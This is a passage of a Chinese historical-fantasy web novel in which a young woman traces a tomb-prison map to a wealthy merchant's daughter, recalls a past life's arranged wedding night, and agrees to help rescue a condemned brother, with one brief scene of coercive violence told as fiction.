“不就是普普通通一幅地图么,怎么,难不成是真的啊?藏宝图?那这几本还有七八幅呢。”
她看昭早早神情凝重地喃喃自语,更好奇了,伸着脑袋凑上前问:“你说什么跟什么‘一一对应’?”
这幅地图分上中下三层,前两层与通天十二陵中的第二陵——丑陵地宫一一对应,昭早早心念电转,压下胸中惊涛骇浪。
她拨开方知画的脑袋,反问道:“这本画册你从哪弄来的?”
“十五书斋买的呀,就之前我带你去过的那家店。”方知画疑惑道,“到底怎么了?”
这般复杂的地宫构造,能画得完全一致,绝无可能是巧合。
且最底层的皇陵地宫,连她也不知晓全貌,这图却画得细致逼真,甚至还有一条隐秘的、可贯穿全陵直达外界的通道,看似凭空捏造,却也不是完全无迹可寻。
慕容青曾怀疑过那处奇怪的引水槽,但是大伯父无意多说,也就不好探寻。是画图者故意作伪,还是确有其事?
除了慕容家的人,还有谁这么熟悉丑陵地宫,莫非……慕容家尚有人幸存?
若是如此,他将地图流传于世,又有何目的?
与其胡乱猜想,不如直接找到这个人。昭早早收起画册卷一卷别自己腰上,郑重道:“我过去一趟。”
“去书斋?为什么?”
“这故事画得太精彩了,我迫不及待要看到下一册。”
“啊?”方知画震惊了,“不是,你有这么喜欢吗?”
“刚刚爱上,看不到下册睡不着觉。”
昭早早说完便走,十五书斋离得不远,她要在天黑之前找到人,毕竟她一向不喜欢夜长梦多。
7. 新婚
十五书斋的掌柜正要合拢大门,冷不防从门缝里忽地伸出一只修长有力的手,扣死了门板,他竟是分毫撼动不得。
“打、打烊了,客官。”如果来人不是个姑娘家,掌柜的都要以为是遇上劫匪或是砸店的了。
虽说这个姑娘身量也是颀长,面貌英武凌厉,眉宇间一股煞气……越瞧越不对劲,掌柜满脸赔笑道:
“姑娘要不明天再来吧。”明天多叫两个伙计在店里看着。
“掌柜,这个是你们店里刊印的吗?”
她拿出一本画册放在柜面上,掌柜的一看,这才放松道:
“您是来催下册的吧,放心,这可是本书斋独家新作,您下个月头来买,保证不落空。”
对方冷哼一声,又问道:“作画者是谁?”
掌柜小心道:“这封皮上有写,鬼手徐生。”
“我不是问化名。”那姑娘微微一笑,眼睛里却没有一丝笑意,反而冰冷锐利。
她抬起手,两指间不知何时夹起一片看起来纤薄细软的银叶子,掌柜只觉眼熟,再定睛一瞧:这不是她自个头上的发饰么?
不知为什么要拿下来一片,正不解其意,一抹一闪而过的亮银色擦着他的眼睛划过……
掌柜的战战兢兢扭头去看,身后的屋柱上仅余银叶子的叶柄还留在外面。
“我问的是此人姓甚名谁,家住何处,是男是女,年岁几何。”
她说着摊开一张银票也放在柜面上,“你们刊印需要提前刻版,想必下册的原稿早已在手中,一并拿出来我看看。”
“这个……要不您下个月再来问……”掌柜不敢直视这位煞神,低头看看柜面,又侧头瞧瞧木柱,一时汗出如浆,嘴唇直抖。
钱是想挣,但命只有一条啊!
那姑娘等不及了,一大步跨上前来,那气势竟是比彪形大汉还要骇人许多,掌柜的一激灵就吓得两手抱头,眼一闭竹筒倒豆子般说实话:
“对不住对不住!这套画册其实不是我们书斋出的,我们也是从彩丹城鸿鹄书坊进的货,赚个差价而已!我把地方告诉您,您去向他们打听,他们肯定知道!”
对方却并没有轻信,而是伸手道:“把你的货单凭证拿来我看。”
这原不该随便给出去的,但眼下也是无法,掌柜只好找了单据给她。
那姑娘看完之后直接把单子收进袖子里,不咸不淡道了声谢:“这个等我去鸿鹄书坊问清楚,再来还你。”
掌柜哪敢多说什么,抹着汗连声应下。
昭早早出得书斋已是暮色四合,想到回去太晚又要挨训,正欲翻身上马,却陡然察觉身后有一道陌生的气息。
她蓦地转头,原来是那本画册不经意掉到地上,路过的人好心提醒。
那人手里还提着一捆药包,跟昭早早客气两句便快步走向一旁停靠的马车,掀开车帘恭敬道:
“公子,药抓齐了,这便送您回府。”
“嗯。”
昭早早耳尖一动,循着这声应答循去——
只见肖平就那样淡然恬静、端正稳重地坐在车厢里,一如既往地腰背笔直,宛如古画卷中屹立舒展的苍松,历经不知多少岁月,依然故我。
她怔怔看着,一片茫然,早已忘记自己身处何处,也不在乎今夕何年。她用眼光一点一点描摹他的面貌,重叠成梦中想要看到的幻影。
“早早。”肖平唤她,“有事吗?”
昭早早骤然回神,慌张掩饰道:“没有、没事。”
肖平闻言略略点头,放下车帘,在暮色中渐渐远去。昭早早原地目送许久,霍地跳上马去,满心懊恼:她为什么一句话都没能问出口?
你身体哪不舒服?是生病了吗,吃的什么药?就算是普通同窗之间也应该问候几句,可方才的自己却傻愣在那里什么也没说。
晚风冷寂,昭早早拽紧缰绳,策马扬鞭,落荒而逃般回到府邸。是夜,她睡得好不安生,辗转反侧直至夜深,才入了梦。
梦中,她回到了第一次与宁平公主相遇的那天——那是慕容青的新婚之夜。
“吉时已到,送新人入洞房。”
喜婆的声音高亢而嘹亮。如果是寻常新娘,会被她背进新房,或是被新郎官打横抱进去,但公主是金枝玉叶,她不敢擅动,看新郎官也没有那个意思。
这便不好办。也不是没有自个儿走进去的新娘,但公主腿脚不便,尚需坐步辇,如何走得。
场面一时冷寂。
寥寥宾客也不再说话,现场愈发难堪。喜婆怯怯地向新郎官使眼色求助,新郎官年少有为,生得也英俊潇洒,但性格却着实冷硬,竟是不理会。
幸得公主的两名高大侍女上前解围,一前一后抬起步辇向新房走去。新郎官施施然跟在后面,两袖清风,像个看热闹的闲人。
另有侍从在新房前开门接应,将事先准备好的金玉杆、银剪,并合卺礼的酒盏一块端进去,便是春宵一刻值千金,众人回避。
“请自便。”
房中只有他们两个,慕容青吩咐这一声已是仁至义尽。这满桌的散碎礼具他一样也不会用,御赐的合卺酒可以自己独酌。
白天在席上他喝的不算少,不过他一向千杯不醉,再来一壶亦无不可。
慕容青自顾自地喝一杯酒、脱一件衣服,酒壶空时,他已再无一件繁琐加身,大红的喜袍、礼冠扔得满地都是。
露出里面素白的孝衣来。
慕容青活络了两下肩膀,忙这一天也挺累的,他想早点上榻休息。而新娘从始至终端坐在床沿正中,不动如山,不发一语。
“不是叫你自便吗?”慕容青嗤她挡路,“难不成还等我来伺候。”
君臣尊卑早在家破人亡时喂了狗,慕容青迈步上前,直接上手扯掉公主的凤冠,丢在一旁。
没想到珠帘之下还有一张面纱,他才这回想起是听说过公主不仅残疾,面上还有胎记。
他讨厌这些影影绰绰的遮挡,像拆之不尽的谎言,不由分说也挥手摘掉,公主一动未动,抬眸与他对视。
平心而论,她的眼睛生得极美,漆星点墨,似寒潭静谧,似广湖无波,仿佛有一种说不清道不明的吸引力——但确实有一块淡青的印记生在面颊上,颇为破坏美感。
慕容青顿觉尴尬,把面纱又给她戴回去,生硬道:“这般难看,我不会碰你。”
公主并没有如他预想中的恼怒、喝骂或者哭泣,只是淡然应了一声:“嗯。”
慕容青倒觉有两分意思,问她:“你不在意?”
“嗯。”
“可笼络不了我,你如何交差?”
“……”
“你是哑巴吗?”
“不是。”公主静静看着他,又不说话了。
既如此,再多言也是无趣,慕容青微扬下巴,示意她让到床里面。
公主微微颔首,但她腿脚有疾,挪动缓慢,慕容青便一手把住她肩头,一手抄起她膝弯,还算斯文有礼地把人打横抱起来——
对方浑身骤然一紧,绷得像张拉满的弓弦,看来并不像她方才自述的毫不在意。
慕容青并没有兴趣顾及这些女儿家的小心思,只把人递进床铺里头便不再管。
她横卧在喜被上,拢了拢衣襟,似有些意外地抿唇看他。
那眼神说不上是探究还是害怕,总归有些怪怪的。慕容青无动于衷,反正新房的床大得很,只要她不吵他休息便好。
慕容青和衣卧下,侧身朝外躺着,连片衣角也不相挨着。
东方泛起鱼肚白时,慕容青倏地睁开清明的双眼,体察身后细微的动静。
此时天还未亮,晨光熹微,红烛早已燃尽,房间内光影昏暗。
他背后的人慢慢坐起身来,连呼吸都放得轻缓。
慕容青并指成掌,耐心地等待着,只要有一丝风动,他就会抢占先机。
约摸过去两炷香,慕容青翻身而起,不可置信地怒瞪道:“你动也不动的枯坐着干什么?”
公主依然维持着盘腿打坐的姿势,双手轻置于膝,连眼皮也不抬:“做早课。”
“什么早课?”
“诵经。”
“……”慕容青记得她自幼出宫在云天观修行,道家确有早课诵经一说,但此人都成亲还俗了还需要念什么经,他质疑道:
“就算如此,你诵经为何不出声?”
公主看他一眼,并未作答。慕容青竟平白无故从她这淡漠的一眼中看出一丝丝委屈,暗道可笑,难不成还是怕搅扰了他,所以才默诵?
这分明是眼见美色迷惑不了,改用柔情曲意逢迎。慕容青冷声道:“以后要诵经自己出去诵。”说罢兀自起身去隔间更衣。
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听公主唤侍女进来伺候,慕容青复又想起她这腿脚独自却是出不去,如此一来倒显得自己强人所难。
他稍感歉意但不多,眼下皇帝赐这门婚无非是想逼他自乱阵脚,阴暗处无数魑魅魍魉张牙舞爪等着他行差踏错,好将慕容家彻底覆灭。
就如同踩一支竹蒿横渡江面,他自顾尚且不暇,哪还有余力照拂他人。
若他落水,一则愧对家族使命,二则有负苍生大义,无论如何,他必须坚持下去——慕容青感到疲倦,放下手中雪亮长刀,结束今日的晨练。
为他持帕捧水的侍从说公主正等在偏厅和将军一起用膳,慕容青点点头,心觉麻烦。到底还是得去,新婚翌日,还有些应酬。
此刻公主换了一身素净服饰,姿仪得体静坐桌旁,只高挺的鼻梁上依然挂着半面轻纱,显得格外出尘脱俗。
慕容青莫名其妙:“你还戴这个做什么?”
“我素来戴着,遮丑。”她答。
慕容青半扬眉毛,原以为是尊泥塑的菩萨,没想到也有三分火气,这是在回应他昨夜嘲讽她。
慕容青并无所谓,两人安安静静同桌吃着,不一会昨日的观礼太监来见,客套了一番恭贺新人的喜庆话,便行礼告辞回宫复命。
太监一走,慕容青也不想再吃,刚放下羹勺,公主问:“这粥咸吗?”
她问得自然,慕容青随口便答:“还好。”
公主平静道:“那吃完罢。”
慕容青手一顿,神色不善地看向她,反感的意味很明显。
对方一泓秋水般的眼睛并未闪躲,全然没什么变化地凝视着他。慕容青莫名被这种古井无波的眼神卸了火气,反正区区一碗粥,吃便吃罢。
她伸手给他布菜。慕容青板起脸十分不习惯,尚未发作,公主又道:“你可否坐得离我近些?”
她说得落落大方,话里并无那种矫揉造作的情意绵绵。
慕容青回过味来,也对,都是身不由己之人,谁不会逢场作戏?
他从善如流挪到她身侧,不仅挨得紧密,还展臂搂住她腰身,触手只觉精瘦柔韧。
礼部来人持圣旨而入,自不需通报,见新人状从亲密,当即贺喜有加,宣读圣旨后又是一番唱和,直到宫中的赏赐都抬上来,再才告辞。
这顿早膳可谓是吃得一波三折。
镇陵军还等着慕容青回营主持大局,料理完这些,他当即吩咐手下收拾行囊,对先前‘宠爱万分的新婚妻子’微笑道:
“公主保重,我还有要务在身,便不多陪你了。”
公主却道:“带我同去。”
“为何?”慕容青虽如此问,但并不感到惊讶。
公主看他一眼,打开手中卷轴——那是今早御赐的“鸾凤和鸣”图,她对慕容青道:“如果我不能跟在你身边,那么就会再有其他人。”
公主想了想斟酌道,“但我跟那些人不一样。我不会害你。”
“我凭什么相信你?”慕容青嗤之以鼻:“你又为何要向我投诚?今时今日的慕容家,有什么值得公主青睐?总不能是看上我这个驸马了吧?”
他当然是随口戏言,不曾想公主颦眉凝睇,一副受了奇耻大辱的模样。
其实她轻纱遮面,只露出一双眼睛,最多是有些微难堪之色,但正因她神情寡淡,这两份难堪倒显得浓墨重彩起来。
慕容青见状,心中生出一丝趣意。
“我与你说的是正事。”公主正色道,“关乎大义,我可以发誓,也可以接受你任何的条件。”
慕容青可以暂时信她,毕竟她所言不错,撇开这个眼线,还会有下一个,而下一个亦未必合他心意。
他眼中闪过促狭的光,“公主说得这般好听,莫不是真想做我的人?”
这一语双关公主显然并未听懂,只郑重地点头,慕容青忍不住暗笑,居高临下地俯身靠近。
公主囿于软椅,无法回避,只听对方在她耳畔低语道:“可我喜好龙阳,难与你有夫妻之实,怎么办?”
“……无碍。”公主答得沉稳,但耳尖已飞起一抹薄红,平添三分恼怒。
慕容青憋笑憋得难受,一眨也不眨眼地盯着她看,原来此人羞赧起来才生动,有几分真实的活气,像藏匿在林间偶尔露出尾巴的兽类。
直令他瞧得兴致盎然,连余下的说词都忘了讲。
8. 彩丹城
天气晴朗,昭明闲来无事在院子里打磨工具,他的好侄女早早殷勤地帮他打下手。
“无事不起早,”昭明了然道,“有什么事说吧。”
昭早早言简意赅,“我要去一趟彩丹城。”
距离倒不算远,昭明不解:“去那干嘛?”
“云从在那边落脚,我想过去探望,看看她安顿得怎么样。”也是无巧不成书,昭早早日前确实收到了云从的来信。
昭明道:“你说你,好端端地把她送走,现在知道担心了吧?虽说天下太平,但一个姑娘家要独自谋生谈何容易。”
“云从她想学戏。”昭早早解释道,“彩丹城是歌戏楼的起源之地,云从一直想去拜师学艺。留在昭家非她所愿,何不助她一臂之力。”
“你当曲艺杂术那么好学?”昭明嫌她想得太简单,“个中辛苦自不必说,还得有天分。”
“云从还不够有天分啊,”昭早早打趣道,“您是没看到她易容成叔母有多像。”
“那是!”昭明没好气道,“不然你好好一门婚事也不能黄得这么容易。”
“叔父,”昭早早无奈道,“咱们不要哪壶不开提哪壶。”
“行行行,木已成舟,懒得说你。”昭明同意道,“多带几个人和你一块去,别在外面贪玩,早点回来。”
昭早早支支吾吾应下,真到出门那天,留了封信便跑没影,一是她此行不宜暴露身份,牵扯昭家;二是她自诩今时虽不同往日,但自保也不成问题。
她第一次来彩丹城,一面闲逛,一面打听云从落脚的宅院,倒也没费什么事。
恰巧云从正在家练曲,一进门她就听到院落里传出响亮的唱段——“好你个狼心狗肺狠心人,忘恩负义弃了结发妻!来日,必叫你天打五雷轰!”
“咳咳!”昭早早一口气没顺下去,连声咳嗽起来。云从这才发现她到了,两人自然兴高采烈,好一番叙旧。
昭早早听云从绘声绘色说起学艺种种,眼角眉梢皆是飞扬神采,便知她为了心中所愿,纵有百般磨砺也视若等闲。
见她着实过得很好,昭早早唇边也不禁荡漾开笑意,由衷替她高兴。
“今天楼里有活动不排戏,一会我还得去送些妆点用的绢花,你要不要和我同去?”云从笑着邀请她道,“你请我吃饭。”
“可以啊云姑娘,这宾主关系你是分得清的。”昭早早调侃道,“不过我还有点事,得先找你帮个忙。”
云从应道:“什么事?”
“帮我易个容,美丑无所谓,只要看起来不像我就行了。”昭早早强调道,“最好我叔母见了都犯迷糊那种。”
云从脱口道:“那你直接换男装嘛。”
“换男装还得先买衣服、买鞋子,还要重新梳头,太麻烦。”懒人昭早早否决。
“好吧,我帮你试试。”云从好奇地问:“不过你这又打的什么鬼主意?”
“别多问了。”昭早早挤眉弄眼促狭道,“我打算去‘不可说’的地方逛一逛,被人认出来不太好,你打听多了也不太好。”
“……你千方百计退了婚,转头却干这个?”云从一脸震惊:“可你连肖公子那般品貌都看不上,还是不要去了,会失望的。”
昭早早无奈叹息道,“我有眼无珠的旧事,以后莫要再提了。”
一个时辰后,改头换面的昭早早来到鸿鹄书坊前。这间书坊规模要大得多,上下共有三层,门楼宽阔大气,也算店如其名。
来往的书客很多,现在远没到打烊的时辰,想堵掌柜的还不知堵哪一个,店里忙活的人不少。
昭早早索性随便拉了一个,画册刚拿出来对方便问道:“客官是来找鬼手徐生的吗?”
“是。”昭早早意外道,“怎么,很多人找他吗?”
“那当然,鬼手徐生是我们的招牌画家,近来钟爱《冥冢凶灵集》的书客非常多,每天都有人来催他快画下一册。”
伙计热情地介绍道:
“您今天来得赶巧,我们书斋为鬼手徐生在歌戏楼举办了新书贩卖会,您只需申时去购买,不仅能见到徐生本人,还有机会获得他亲笔题字!”
昭早早无言地把这个信息消化了一会,试探道:“要排队吗?”
伙计估摸了下时辰,堆笑道:“没关系,您这场要是进不去,只需跟我们书斋下订全集,下个月我保证给您安排!”
“……”昭早早抢出门去的时候不由得把画册翻过来又看了一眼,是丑陵地宫图没错。
不是她眼瞎,是鬼手徐生疯癫,不按套路隐匿行踪,莫非这就是所谓的大隐隐于世?
她兵荒马乱找到歌戏楼,明明时辰还未到,就已然人流如织,书迷如潮,她挤在一堆大汉中间,格格不入,没有人高风亮节发扬君子风度,都在骂让她不要插队。
昭早早定了定神,决定去找云从开后门。想曹操曹操就到,正看见云从扎完绢花布景,从台上下来。她忙把人拉到一边询问:“鬼手徐生在哪间准备?”
“你不是去‘不可说’了吗?”云从惊讶道,“怎么又跑这来了?”
“回头再跟你解释,”昭早早急道,“你先告诉我他在哪。”不然等贩卖会开始,怎么在众目睽睽之下绑人?难不成还得在这等他签完啊!
“二楼左手边倒数第二个房间。”云从道,“你可千万别给我惹岔子。”
“放心,咱俩不认识。”昭早早拍拍她的手,飞快跑向二楼。
门内自然有锁,本来是想敲着编个说辞,现下不太耐烦,反正这种铜锁对她来说不过是一瞬间的事,她直接推门而入,反手给门栓上了一把自家更得用的机关锁。
屋内一个正对镜描眉的男子惊愕地看向她,手上没收住力道,一抹炭黑直冲天庭。
“啊!”他惊叫一声,赶紧拿起绢帕对着铜镜去擦,边擦边嗔怪道,“姑娘是何人,好没礼貌!”
见他年纪轻轻,昭早早确认道,“是鬼手徐生吗?”
那人自得道:“姑娘也喜欢我的书?去楼下排队。”
昭早早白他一眼,开门见山拿出画册:“这幅图是你画的?”
鬼手徐生这才认认真真打量她,“原来你就是我们家小姐要等的人。”
“一个接一个的,搁我这九连环呢。”昭早早彻底失去耐心,“我又要上哪去找你们家小姐?”话虽如此,她已经在计划着要把此人绑去哪审问了。
“怎么会,我们家小姐早已等候多时了。”此言一出,鬼手徐生放倒桌上铜镜,同时房间顶部洞开一仞见方的缺口,缓缓垂下一座木梯。
这等机关昭早早见怪不怪,她不介意上三楼,但她担心鬼手徐生故布疑云,趁机偷跑。
“我不会走的。”鬼手徐生看穿她的怀疑,坦然道:“楼下还有那么多书迷在等我,天塌了我也不能辜负他们的期待。你们慢聊。”
说着他摆弄了几下昭早早的锁——打不开。
两个人四目相对,天晓得她竟然在他的眼里看到了真诚。稍作犹疑,昭早早还是给他打开门,先放人出去叱咤风云。
果然不消片刻,汹涌澎湃的欢呼声就潮水一般涌起,一浪高过一浪。
在这样的嘈杂中昭早早迈上阁楼,随着木梯收起,这隐蔽的房间安静得像世外桃源,遗世独立。
桃源中轻纱幔帐如云雾飘垂,白玉屏风描绘山水仙境,古雅的檀木案几
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上紫砂炉香韵悠悠,琉璃壶热气袅袅,浑身写满‘富有’二字的绝世佳人已亲自替她看上一杯热茶,微笑以待。
昭早早不论何时都没心思来这些虚的,也不落座,直截了当地问:“图从哪来?”
“在下闵栀,是沧澜港闵家的长女。”对方答非所问,但礼数周全,“敢问姑娘芳名?不如先请坐下,用杯粗茶,你我慢慢相谈。”
沧澜港,沿海大城,闵家是声名远扬的船商世家,她亦有所耳闻,但这些信息都与地宫无关。
“你的回答不是我想知道的。”昭早早言下之意:少说废话。
闵栀也不强求,提议道:“如果我回答姑娘的问题,姑娘是否也可以回答我一个问题?”
一问换一问?有点意思,昭早早也不想直接诈她,便坐下说:“那要看你的问题是什么。”
“我想知道如何能从那张图上,找到一条真正的生路?”
“……”昭早早决定还是先诈她:“可以,你先回答我的问题。”
闵栀道:“此图乃是在五丰山上的一处洞穴中偶然寻得,疑似太宗一朝工匠所留。”
丑陵正是修在五丰山中,昭早早问:“洞穴具体在何处?”
“山峰南面的一处凹坡。”闵栀大方道,“这已是第二个问题了。”
胡说八道是吧,昭早早的指尖轻叩了两下桌面。她依稀记得慕容青从八岁就开始跟着哥哥们巡山——或者还要更早。
十二陵哪一座山、哪一处峰他们没有待过一年半载,五丰山南面若是真有慕容青没探过的山洞,还要等着外人来捡漏,她把名字倒过来念。
“好,换我回答你。”昭早早随手把玩着茶杯,“图上根本就没有生路。若是你修这么个地方,你会特地留一条生路吗?有必要吗?”
“是我的错,怪我不该对昭姑娘有所欺瞒。”闵栀相当识相,立刻转变态度,凄然道:
“只是事关重大,我身负亲人性命,迫不得已。只要昭姑娘能答应帮忙寻到生路,我定当将事情原委和盘托出,绝无隐瞒。”
昭早早敛去那份漫不经心,“你知道我是谁?”
闵栀坦承道:“闵家在所有贩售画册之地都安插了人手,昭姑娘从十五书斋出来的时候他们便注意到了。只是昭姑娘着实警觉,闵家最好的暗探都不敢靠近你三丈之内。”
难怪那时候她察觉到异样,只是肖平突然出现转移走了她所有的注意力。
昭早早反问道:“所以呢?我必须帮助你,否则你就要对昭家不利?”
“不是的。”闵栀轻轻摇头,“昭家主似乎对整件事毫不知情,也并没有对地图表现出额外的注意。”
“想来这之中定是有些不足为外人道的机缘,如果昭姑娘属意隐瞒,我自当全力配合,亦绝不多问。”
看这大美人态度还算不错,昭早早也自认和善道:“我帮不帮你另说。我对你们闵家卷入这件事的原委没有兴趣。我只想知道我最开始的问题,这张图你们从哪得到的?”
“……”闵栀无言地与她对视了一会,见她神色冷峻全无松动,终道:“丑陵守将邬志合,家父赠予其重金所得。”
邬志合?昭早早对这个名字没有印象,“此人多大年岁?祖籍何处?”
“正是而立之年,出身西北邬氏。”
那便都对不上,还得找他身后之人。昭早早得到答案,起身便要告辞。
闵栀也站起身,逼视她道:“昭姑娘真当是想来便来,想走便走吗?”
“你这话说得,好像我来的是青楼一样。”昭早早好笑,难道就凭她这一根面条似的,也想留住她?
“怎么,还非得留我过夜?”
9. 离魂引
大话说完昭早早顿感不妙,眼前烟云氤氲,丝丝缕缕弥散开来,致她看人渐有模糊重影,视野更是扭曲晃动……
她当机立断,抬脚便踹向案边香炉!“哐当”一声脆响,香炉翻滚着砸在地上,灰白的香灰泼洒一地。
“这香料里掺的‘离魂引’,剧毒无比,即便是烟气也可以侵入人脏腑。”
闵栀态度依旧不紧不慢,甚至带着一股令人恼火的温柔,“昭姑娘莫要担心,解药是备好了的。”
昭早早勉力稳住体内紊乱的气息,冷笑一声,“只要听你的话是吧?”
“若昭姑娘肯配合,我必定双手奉上解药,重金酬谢,再好生向姑娘赔罪。”
闵栀说着,竟真的站起身,带着十足的祈求口吻,向昭早早行了一个恭敬的拜谢礼。她姿态放得极低,弯腰垂颈,端的是楚楚弱女,我见犹怜。
若是不知情的人骤然闯入此间,目睹此情此景,必定会以为凶神恶煞、面若冰寒的昭早早才是那个欺凌他人的恶徒。
谁说不是呢?
昭早早一把托起闵栀行礼的胳膊,顺着小臂轻柔地抚摸向手背,而后紧紧将这把青葱般的玉指攥在手里——
同时她另一只手牢牢捂住闵栀的嘴,恶狠狠道:“现在就给我解药,否则我会一根、一根地掰断你的手。”
她绝非虚言恫吓。说着手下已然施力,根本没给闵栀回答或思考的时间,就先撇折了她小指。
“唔——!”剧烈的疼痛让闵栀浑身猛地一颤,惊叫与痛哼全被人死死闷在喉咙里,化作一串破碎的呻吟。
她眼眶瞬间红了,蓄满水光,昭早早却故意无辜道:“这辈子头回干这种事,没留神手快了,见谅。”
“你要是想告诉我解药放在哪,就冲我眨三下眼睛。”
她只等了对方一息,看对方没有眨眼的意思,立刻就掰断了下一根手指。
闵栀呜咽着挣扎,腿都踢动起来,眼泪扑簌簌直落,滴在她手背上。
昭早早面无表情,对这种先是下毒算计,后又装可怜博同情的恶女,实在心软不起来。
搞不好回头自己毒发、肠穿肚烂的时候,比她现在还要疼上千百倍。思及此节,她心肠更硬,毫不犹豫便继续掰下第三根。
就在她想是不是要换个手段撬开她的嘴时,房间外传来了轻微的脚步声,规律而沉稳,显然是习武之人,正在门外不远处徘徊。
想来是有什么约定的时间、暗号之类,引得护卫开始梭巡。
她心下一凛,目光迅速扫过房间内的布局陈设,思考如何在毒发之前挟持……毒?
昭早早忽然一怔,发觉她的视线正迅速恢复清明,原本滞涩的内息运转如常,经脉中的麻木刺痛感也没有了。
仔细感知片刻后,她确认自己体内的毒已消失无踪。
什么时候?怎么解的?闵栀方才几时眨的眼睛,没看到啊?
这解药不也还没吃着吗?!昭早早一手维持着控制闵栀的姿势,一手还捏着人家的断指,颇有些尴尬。
搞半天是拿空城计诈她,香估计是迷香,效力不长,想恐吓她中毒,诱骗她办事,是这个思路吧?
再看闵栀,在她手底下疼得香汗淋漓,抖如筛糠,却索性闭上双眼,以示坚决。
是个狠人,都这样了还要继续演,也是骑虎难下了吧?
昭早早心中啧啧称奇,生出几分荒谬的敬佩,到底看在撅了对方三根手指头的份上,递出去一副台阶,松开钳制,假意惋惜道:
“闵小姐也未免太不爱惜自己,究竟是什么值得你这般豁出命去?”
闵栀大口喘息着没有作答,左手无力地垂在身侧,三根手指不自然地弯曲。
她用未受伤的右手,颤巍巍拉动了窗边悬挂着的一根不起眼的珠绳——屋内什么也没有发生,不过昭早早能听到徘徊在外的脚步声逐渐远离。
“我让侍卫们走远一些。”闵栀勉强扯出一抹含泪的笑,“免得他们误会,进来打扰。”
昭早早抱臂而立讽刺道,“你倒是很信任我。”
“昭姑娘是个好人。”闵栀虚弱道,“你断的都是我关节相连之处,没有损伤指骨,这样我接回去就能好,不至留下终身残疾。”
“如果你心狠手辣要胁迫我,有的是办法,划花我的脸、割掉我的舌头或是挑断我的手筋脚筋,哪一项都更甚于此。你三下便停手,可见心地善良。”
昭早早愕然:“……狠还得是你狠。”
“只要能救出我弟弟,我愿意付出任何代价。”闵栀苦涩一笑,将前事娓娓道来:
“从十五年前起,闵家数次奉旨出海寻长生不老之术,至今未有所获。每次无功而返,船员轻则遭受刑罚,重则押往十二陵抵罪。”
“最近一次船队出海是三年前,尚未返航。可年初圣上命我们再次组队出海,闵家委实凑不齐人手。”
“一则开销庞大;二则能积年累月在海上航行的船员本就不多;三则返航必遭灾殃,谁人肯去?我父亲叩请延后一年筹措,圣上应允。”
“然而数日后我弟弟外出听曲,莫名有伶人横死在他的雅间。我弟弟不由分说便被‘恰巧’在场的官差抓走,审理不足半月,便判处他死刑,即日押送通天十二陵。”
表面佯装大度,实则背地捅刀,也算那狗皇帝一贯的做派,昭早早并不意外。闵栀提及此处,悲从中来道:
“过往与闵家交好的官员此时皆避之不及,没人肯帮我弟弟。他很快被押往丑陵,亏得是早旱,库恒水坝尚在开闸泄流,所有囚犯都还能在外地宫中苟活一段时间。”
“我父亲重金贿赂了该陵邬守将,但十二陵自古有进无出,我弟弟又是钦点的要犯,他不敢私自放人,便送给了我们这张图。”
意思是要他们凭本事“偷”人了,昭早早问:“既如此你们直接派人去不就得了,干嘛要把图满江湖地印发?”
闵栀叹道,“我们接连派了几波人下去,全都泥牛入海。实在是没有办法,才以此为引,希望能招揽到像姑娘这样家学渊源、精通此术的高人。”
昭早早心说也是让你们瞎猫子碰着死耗子了,又问:“怎么不直接问姓邬的他关在哪间?”
“什么?”闵栀不解。
“你们买通一个巡牢的军士,把你弟弟原路提出来,不是更简单吗?”昭早早道,“既已买通守将,不过是睁只眼闭只眼的事。”
“地宫哪会有人巡视?”闵栀诧异,“囚犯一旦被投进去,就是生死由命,无人问津,哪
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还有军士入内,更不会有人出来。”
“也就是说没有人看管这些囚犯,只等时间一到,就打开内宫闸门?”
昭早早无语,怎么二十年过去,规矩竟变成这样。
看来没有慕容家,十二陵再不是井然有序的监牢,而是一座座你死我活的困兽场。
死囚犯一旦被关入其中,任他们斗殴也好,厮杀也罢,反正最后都是通天藤的饵食,完整的和零碎的又有什么区别?
难怪闵栀这样心急如焚地想救弟弟出来,多待一天都不知道会少哪块部件。
“没错。”闵栀黯然道,“所以我们必须要在夏旱结束、内宫开启之前找到我弟弟。可不知这图上的路径哪里不对……”
昭早早道,“地宫里危机四伏,就算路是对的也未必能走出来。”
“昭姑娘所言极是,”闵栀可怜巴巴看着她,“所以只能请姑娘这样精通机关的高手相助,再则我们也另有寻访个中行家,两相协同,定能无往不利。”
昭早早摊手道:“我没说我要去啊?”
闵栀迟疑着说:“解药……”
还来?昭早早意有所指地睨向她藏在袖中的右手,再演可不奉陪了啊。
闵栀也是反射性地后缩,但仍极力游说道:“此外闵家还有一样东西,或许能对昭姑娘有所帮助。”
“这盒金乌玉片原是东南边陲部落的贡品,天然温热,触之柔和,缝在衣物中能蕴养经脉,强身健体,对先天体弱之人助益尤甚。不知昭姑娘是否需要?”
这闵家的探子确有两把刷子,连她在老神医那随口胡诌的话都能套出来。
金乌玉片只是她很久以前听过的一个传闻,没想到切实存在。要一开始就拿出这个,至于绕这么大一圈吗?
当然她也不全是为了肖平,顺着闵家的路子进到丑陵,再要找邬志合来盘问更加容易。
昭早早已有决意,但不想答应得太快受人拿捏,遂沉吟半晌,顾左右而言他道:“你们找到地图上对应的出口在哪了吗?”
“只能推测出大致的方位。”
闵栀摇头,“毕竟地宫下斜有三层,地图也没有对应的标尺,只是个大概,想由此推算出具体位置几乎不可能。”
“所以我们安排了很多‘猎户’在山麓附近徘徊,只要有人出现,就一定能接应。”
“好。”昭早早答应道,“你弟弟若还活着,我便帮你把人带出来。但他若是死了……”
“你割下他一缕头发带给我,我能认出。”闵栀微抿薄唇道,“尽人事,听天命。若他命定如此,我不敢强求。不论结果如何,我都不会让昭姑娘白跑一趟。”
“行。”昭早早点头同意,“我另外还有个要求。”
“昭姑娘但讲无妨。”
“鬼手徐生是你们的人吧?以后他出的画册都提了字给我送来,我有个朋友很喜欢他。”
闻言闵栀显然颇为意外,表情似笑非笑地应下。
昭早早本想多说两句这可真的是有一个朋友,但又嫌麻烦,索性作罢,与闵栀商议起具体的行动计划。事不宜迟,两人最终约定,三天之后便动身。
而令她没想到的是,在约定的地点,见到那“另寻的行家”,她竟然越看越是面熟。
10. 再会 “你嫁妆呢?”
五丰山附近一幢隐蔽的林间木屋里,昭早早已提前换好男装囚服,来来回回打量过面前的“死囚”同伙数次,最终确认道:“是你吧,祁道长?”
这就是闵家请来的个中高手?昭早早失望地叹息摇头,瞥见一旁又在描眉的鬼手徐生,深感此行玄矣,还不如她一个人去。
“你我何时见过?”
祁道长面露疑惑,昭早早见状打趣道:“我是飘香包子铺的小二啊,道长不记得我了吗?”
“啧,原来是那个找茬的。”祁道长登时识破,皱眉道,“所以大家都是同道中人,你才特地男扮女装来打探?”
